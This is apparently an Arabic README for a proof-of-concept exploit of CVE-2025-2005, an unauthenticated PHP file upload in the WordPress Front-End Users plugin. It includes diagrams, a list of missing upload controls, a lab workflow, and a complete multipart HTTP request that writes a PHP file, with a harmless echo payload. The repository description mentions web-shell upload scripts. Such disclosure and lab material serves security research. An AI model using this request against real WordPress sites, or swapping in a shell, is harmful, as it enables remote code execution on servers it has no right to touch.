h4ckxel/cve-2025-2005استغلال إثبات المفهوم لـ CVE-2025-2005، وهي ثغرة رفع ملف عشوائي في إضافة WordPress Front-End Users Plugin (<=3.2.32). يتضمن نصوص HTTP يدوية وبايثون لرفع قذائف ويب PHP إلى نماذج التسجيل غير المصادق عليها.
CVE-2025-20050xZ3R0 // h4ckxel
تتأثر إضافة Front-End Users بثغرة رفع ملفات عشوائي دون مصادقة تؤثر على الإصدارات ≤ 3.2.32.
يكشف سير عمل التسجيل المصاب عن قدرة رفع أولية يمكن الوصول إليها دون الحاجة إلى حساب WordPress ذي صلاحيات.
تكمن المشكلة الأساسية في عدم كفاية التحقق من البيانات الوصفية والمحتوى الخاصين بالرفع والخاضعين لتحكم المهاجم قبل حفظ الملف في نظام الملفات.
UNAUTHENTICATED ATTACKER
│
▼
Public registration form
│
▼
multipart/form-data
│
▼
Front-End Users handler
│
▼
Insufficient validation
│
▼
Attacker-controlled file
│
▼
/wp-content/uploads/ewd_feup_uploads/
│
▼
Web-accessible resource
│
▼
PHP execution if permitted
│
▼
RCE
يعتمد التأثير النهائي على خادم الويب وإعدادات PHP الخاصة بالهدف.
| الخاصية | القيمة |
|---|---|
| CVE | CVE-2025-2005 |
| المنتج | Front-End Users |
| الإصدارات المتأثرة | ≤ 3.2.32 |
| CWE | CWE-434 |
| الفئة | رفع ملف غير مقيّد من نوع خطير |
| ناقل الهجوم | الشبكة |
| المصادقة | لا شيء |
| الامتيازات المطلوبة | لا شيء |
| تفاعل المستخدم | لا شيء |
| البدائية الأساسية | رفع ملف عشوائي |
| التأثير المحتمل | تنفيذ تعليمات برمجية عن بُعد |
| الباحث | h4ckxel |
| مساحة الأسماء | 0xZ3R0 |
رفع ملف غير مقيّد من نوع خطير
يمكن اختزال السلوك الثغري إلى:
Untrusted Input
│
├── filename
├── extension
├── MIME type
└── file content
│
▼
upload handler
│
▼
filesystem
يفشل الحد الأمني لأن البيانات التي يتحكم بها المهاجم تصل إلى موقع دائم في نظام الملفات دون تحقق كافٍ.
ترتبط الوظيفة القابلة للاستغلال بنظام التسجيل في الواجهة الأمامية الخاص بالإضافة.
يحتوي طلب تسجيل نموذجي على:
ewd-feup-action=register
Username=<value>
User_Password=<value>
وقد يحتوي على حقل ملف متعدد الأجزاء إضافي:
Content-Disposition: form-data;
name="xxploit";
filename="poc.php"
Content-Type: application/x-php
الجزء المثير للاهتمام ليس التسجيل نفسه.
الجزء المثير للاهتمام هو أن الطلب يعبر حدود الثقة التالية:
INTERNET
│
▼
attacker-controlled HTTP
│
▼
registration endpoint
│
▼
upload handler
│
▼
filesystem
تنشأ الثغرة الأمنية من التحقق غير الكافي من جانب الخادم على الملفات المرفوعة.
يجب أن يطبّق التنفيذ الآمن عدة ضوابط مستقلة:
UPLOAD
│
┌────────────┴────────────┐
▼ ▼
Authentication Authorization
│ │
└────────────┬────────────┘
▼
Extension allowlist
│
▼
MIME verification
│
▼
Content validation
│
▼
Server-side filename
│
▼
Non-executable storage
غياب أي واحد من هذه الضوابط لا يؤدي بالضرورة إلى RCE.
تصبح المشكلة أكثر خطورة بشكل كبير عندما تفشل طبقات متعددة في الوقت نفسه.
يوضح إثبات المفهوم التالي البدائية الكتابية للملف دون نشر صدفة أوامر.
POST /wordpress/2025/04/02/test/ HTTP/1.1
Host: 192.168.100.74:888
User-Agent: Mozilla/5.0
Content-Type: multipart/form-data; boundary=----0xZ3R0Boundary
------0xZ3R0Boundary
Content-Disposition: form-data; name="ewd-feup-check"
14bacb882cb211e10b2b3e07bfe096ef12a092dc
------0xZ3R0Boundary
Content-Disposition: form-data; name="ewd-feup-time"
1743554029
------0xZ3R0Boundary
Content-Disposition: form-data; name="ewd-feup-action"
register
------0xZ3R0Boundary
Content-Disposition: form-data; name="Username"
poc-user
------0xZ3R0Boundary
Content-Disposition: form-data; name="xxploit"; filename="poc.php"
Content-Type: application/x-php
<?php echo "CVE-2025-2005"; ?>
------0xZ3R0Boundary--
wp-content/
└── uploads/
└── ewd_feup_uploads/
└── <randomized-name>.php
الملاحظة المهمة هي:
attacker-controlled extension
+
attacker-controlled content
+
persistent filesystem write
سير عمل عملي لبيئة مختبرية:
[1] Open registration page
│
▼
[2] Submit legitimate registration
│
▼
[3] Intercept request with Burp
│
▼
[4] Locate multipart file parameter
│
▼
[5] Replace benign file with PoC file
│
▼
[6] Forward request
│
▼
[7] Inspect response
│
▼
[8] Verify filesystem artifact
│
▼
[9] Test whether uploads are executable
يجب إجراء الملاحظة الأمنية الحرجة قبل محاولة أي استغلال لاحق.
Content-Disposition: form-data;
name="avatar";
filename="avatar.jpg"
<image-data>
Content-Disposition: form-data;
name="xxploit";
filename="poc.php"
<?php echo "CVE-2025-2005"; ?>
من حيث المفهوم:
- filename="avatar.jpg"
+ filename="poc.php"
- <image-data>
+ <?php echo "CVE-2025-2005"; ?>
هذا يوضح العنصر الأساسي دون الاعتماد على حمولة مسلّحة.
يجب أن يكون هدف التحقق الأول هو نظام الملفات، وليس تنفيذ الشيفرة.
مثال:
find wp-content/uploads/ewd_feup_uploads/ \
-type f -printf '%f\n'
ثم افحص الناتج الناتج:
file wp-content/uploads/ewd_feup_uploads/<artifact>
يُثبت الاستنساخ الناجح ما يلي:
HTTP request
↓
plugin processing
↓
filesystem write
↓
attacker-controlled artifact